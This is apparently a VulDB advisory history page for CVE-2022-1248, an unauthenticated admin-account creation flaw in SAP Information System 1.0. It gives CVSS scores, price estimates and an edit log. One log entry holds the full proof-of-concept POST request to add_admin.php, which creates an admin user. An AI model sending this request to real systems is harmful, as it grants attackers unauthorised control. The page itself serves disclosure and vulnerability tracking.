SAP Information System 1.0 POST Request add_admin.php improper authentication

EntryHistoryDiffjsonxmlCTI

A vulnerability was found in SAP Information System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /SAP_Information_System/controllers/add_admin.php of the component POST Request Handler. The manipulation leads to improper authentication. Using CWE to declare the problem leads to CWE-287. The weakness was published 04/06/2022. This vulnerability is handled as CVE-2022-1248. The attack may be launched remotely. Technical details are available. Furthermore, there is an exploit available. The structure of the vulnerability defines a possible price range of USD $0-$5k at the moment. It is declared as proof-of-concept. The exploit is available at vuldb.com. As 0-day the estimated underground price was around $0-$5k. A possible mitigation has been published even before and not after the disclosure of the vulnerability.

Timeline

The analysis of the timeline helps to identify the required approach and handling of single vulnerabilities and vulnerability collections. This overview makes it possible to see less important slices and more severe hotspots at a glance. Initiating immediate vulnerability response and prioritizing of issues is possible.

User

1	30
24379	2

Field

exploit_sourcecode	2
vulnerability_cvss3_meta_tempscore	2
exploit_publicity	1
source_cve_nvd_summary	1
vulnerability_cvss3_cna_basescore	1

Commit Conf

90%	29
70%	10
50%	10
100%	3

Approve Conf

90%	29
70%	10
80%	10
100%	1

ID	Commited	User	Field	Change	Remarks	Accepted	Status	C
12357019	04/09/2022	mrempy	sourcecode			04/10/2022	we declare full http recordings as PoC exploit	0
12357018	04/09/2022	mrempy	publicity	0 ❌		04/10/2022	we declare full http recordings as PoC exploit	0
12350946	04/08/2022	VulD...	cve_nvd_summary	A vulnerability was found in SAP Information System 1.0 which has been rated as critical. Affected by this issue is the file /SAP_Information_System/controllers/add_admin.php. An unauthenticated attacker is able to create a new admin account for the web application with a simple POST request. Exploit details were disclosed.	cvedetails.com	04/08/2022	accepted	70
12350945	04/08/2022	VulD...	cvss3_cna_basescore	7.3	see CVSS documentation	04/08/2022	accepted	90
12350944	04/08/2022	VulD...	cvss3_meta_tempscore	6.9	see CVSS documentation	04/08/2022	accepted	90
12350943	04/08/2022	VulD...	cve_cna	VulDB	nvd.nist.gov	04/08/2022	accepted	70
12350942	04/08/2022	VulD...	cvss3_cna_a	L	nvd.nist.gov	04/08/2022	accepted	70
12350941	04/08/2022	VulD...	cvss3_cna_i	L	nvd.nist.gov	04/08/2022	accepted	70
12350940	04/08/2022	VulD...	cvss3_cna_c	L	nvd.nist.gov	04/08/2022	accepted	70
12350939	04/08/2022	VulD...	cvss3_cna_s	U	nvd.nist.gov	04/08/2022	accepted	70
12350938	04/08/2022	VulD...	cvss3_cna_ui	N	nvd.nist.gov	04/08/2022	accepted	70
12350937	04/08/2022	VulD...	cvss3_cna_pr	N	nvd.nist.gov	04/08/2022	accepted	70
12350936	04/08/2022	VulD...	cvss3_cna_ac	L	nvd.nist.gov	04/08/2022	accepted	70
12350935	04/08/2022	VulD...	cvss3_cna_av	N	nvd.nist.gov	04/08/2022	accepted	70
12347326	04/06/2022	VulD...	sourcecode	POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username" hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password" P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user" admin ------WebKitFormBoundaryYELEK8fMdX63l0iI--		04/06/2022	accepted	100
12346910	04/06/2022	VulD...	price_0day	$0-$5k	see exploit price documentation	04/06/2022	accepted	90
12346909	04/06/2022	VulD...	cvss3_meta_tempscore	6.6	see CVSS documentation	04/06/2022	accepted	90
12346908	04/06/2022	VulD...	cvss3_meta_basescore	7.3	see CVSS documentation	04/06/2022	accepted	90
12346907	04/06/2022	VulD...	cvss3_vuldb_tempscore	6.6	see CVSS documentation	04/06/2022	accepted	90
12346906	04/06/2022	VulD...	cvss3_vuldb_basescore	7.3	see CVSS documentation	04/06/2022	accepted	90

32 more entries are not shown

🔒 Login Required

You need to signup and login to see more of the remaining 32 results.

◂ Previous Overview Next ▸

Do you want to use VulDB in your project?

Use the official API to access entries easily!